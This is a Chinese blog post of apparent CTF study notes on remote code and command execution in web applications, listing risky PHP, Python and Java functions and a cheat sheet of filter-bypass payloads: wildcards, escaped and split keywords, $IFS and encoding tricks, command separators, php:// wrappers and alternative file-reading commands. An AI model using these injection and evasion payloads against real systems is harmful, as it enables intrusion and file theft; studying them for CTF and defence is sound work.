首页 > 其他分享 >Web通用漏洞--RCE

Web通用漏洞--RCE

时间:2023-08-13 16:59:21浏览次数:47  
标签:Web -- cat 漏洞 flag 代码执行 RCE 执行 fl

Web通用漏洞--RCE

漏洞简介

RCE远程代码/命令执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞也分为代码执行漏洞和命令执行漏洞,所谓代码执行即通过漏洞点注入参数而使用源代码进行相应的操作,所谓的命令执行就是通过漏洞点注入参数使用源代码进行调用系统命令进行相关操作,从而达到执行系统命令的目的。无论是代码执行还是命令执行,两者都可以相互转换。代码执行可以通过调用源码中相应的系统命令执行函数进行命令执行的转换,命令执行可以通过源代码环境进行文件写入等操作,并通过命令行的方式进行代码执行的操作。因此无论是代码执行还是命令执行,两者都可以进行相互转换。

漏洞函数

  • PHP代码执行函数:
    eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
  • PHP命令执行函数:
    system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
  • Python:
    eval exec subprocess os.system commands
  • Java:
    Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
    但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

漏洞利用

伪协议玩法

配合文件包含伪协议(代码执行)
include $_GET[a]?>&a=data://text/plain,
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php

过滤关键字

  • 通配符
flag=fl*
cat fl*
cat ?la*
  • 转义符号
ca\t /fl\ag
cat fl''ag
  • 空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag
  • 拼接法
a=fl;b=ag;cat$IFS$a$b
  • 反引号绕过:
    cat `ls`
  • 编码绕过:
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
  • 组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
#  \指的是换行
#  ls -t是将文本按时间排序输出
#  ls -t >shell  将输出输入到shell文件中
#  sh将文本中的文字读取出来执行

异或无符号(过滤0-9a-zA-Z)

脚本生成16进制进行异或运算、或运算等

过滤函数关键字

内敛执行绕过(system)

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

过滤执行命令(如cat tac等)

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

过滤空格

%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
> < <> 重定向符
%20

无回显利用

直接写个文件访问查看
直接进行对外访问接受

截断绕过

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

标签:Web,--,cat,漏洞,flag,代码执行,RCE,执行,fl
From: https://www.cnblogs.com/Pengj/p/17626775.html

相关文章

  • 2023/08/13
    给定一个带整数键值的链表L,你需要把其中绝对值重复的键值结点删掉。即对每个键值K,只有第一个绝对值等于K的结点被保留。同时,所有被删除的结点须被保存在另一个链表上。例如给定L为21→-15→-15→-7→15,你需要输出去重后的链表21→-15→-7,还有被删除的链表-15→15。输......
  • M2版Mac mini被京东杀到史低2888元!比苹果官网低1600
    苹果跳水王M2版Macmini又降价了。根据京东官方百亿补贴频道显示,Macmini8+256GB入门版只要2888元了,比前不久的拼多多2959还低,刷新了这款电脑的史上最低价。对比官网原价的4499元,直接跌掉超过1600元,已经非常值得入手。尤其是Macmini对比同价位的Windows迷你机,不论是性能还是......
  • Web攻防--xxe实体注入
    web攻防--xxe实体注入漏洞简介XML外部实体注入(也称为XXE)是一种Web安全漏洞,允许攻击者干扰应用程序对XML数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。在某些情况下,攻击者可以利用XXE漏洞联......
  • Sql Server 2008数据库Windows账户和sa账户被禁用以后……
    服务器版本:WIndows Server2008 R2 Standard数据库版本:MicrosoftSQLServer2008 R2事故背景:新建了一个账户dev以后,禁用sa账户,不小心把Windows登录账户也给禁用了,然后数据库代理,作业都不可用了解决:1、用当前账户新建一个Windows管理员账户dba 2、用新账号dba登录......
  • Vulnhub: DriftingBlues: 3靶机
    kali:192.168.111.111靶机:192.168.111.192信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.192查看robots.txt得到提示访问eventadmins提示littlequeenofspades.html查看littlequeenofspades.html源码base64解密后提示adminsfixit.php......
  • ctfshow--web入门--XXE
    ctfshow--web入门--XXEweb373源码<?phperror_reporting(0);libxml_disable_entity_loader(false); //允许加载外部实体$xmlfile=file_get_contents('php://input'); //使用php伪协议进行接收值,并进行文件读取if(isset($xmlfile)){$dom=newDOMDocument();......
  • 第九章 项目资源管理
    规划资源管理规划资源管理的过程:(1)工具与技术责任分配矩阵:RICA⭐组织理论:(2)输出资源管理计划:权力角色的划分:资源管理计划:强调的是记录责任分配矩阵:是一个责任分配的工具,强调划分过程团队章程:⭐ 估算活动资源估算活动资源的过程:(1)输入资源日历:获取资源......
  • Django实现文件上传、文件列表查看、修改、限流和日志记录4
    Django实现文件上传、文件列表查看、修改、限流和日志记录4本章添加用户认证功能,属于安全模块。用户认证在Django中,默认情况下,用户的用户名和密码是存储在数据库中的。Django提供了内置的用户模型(User模型),它可以管理用户的认证和授权。配置数据库在file_upload/settings.py......
  • Web通用漏洞--文件上传
    Web通用漏洞--文件上传概述文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数......
  • 第十章 项目沟通管理
    规划沟通管理沟通渠道数量:(n(n-1))/2规划沟通管理的过程:(1)工具与技术沟通技术:沟通模型:沟通方法:沟通方法举例子:文化意识:(2)输出沟通管理计划:管理沟通管理沟通的过程:(1)工具与技术会议管理:监督沟通监督沟通的过程:     ......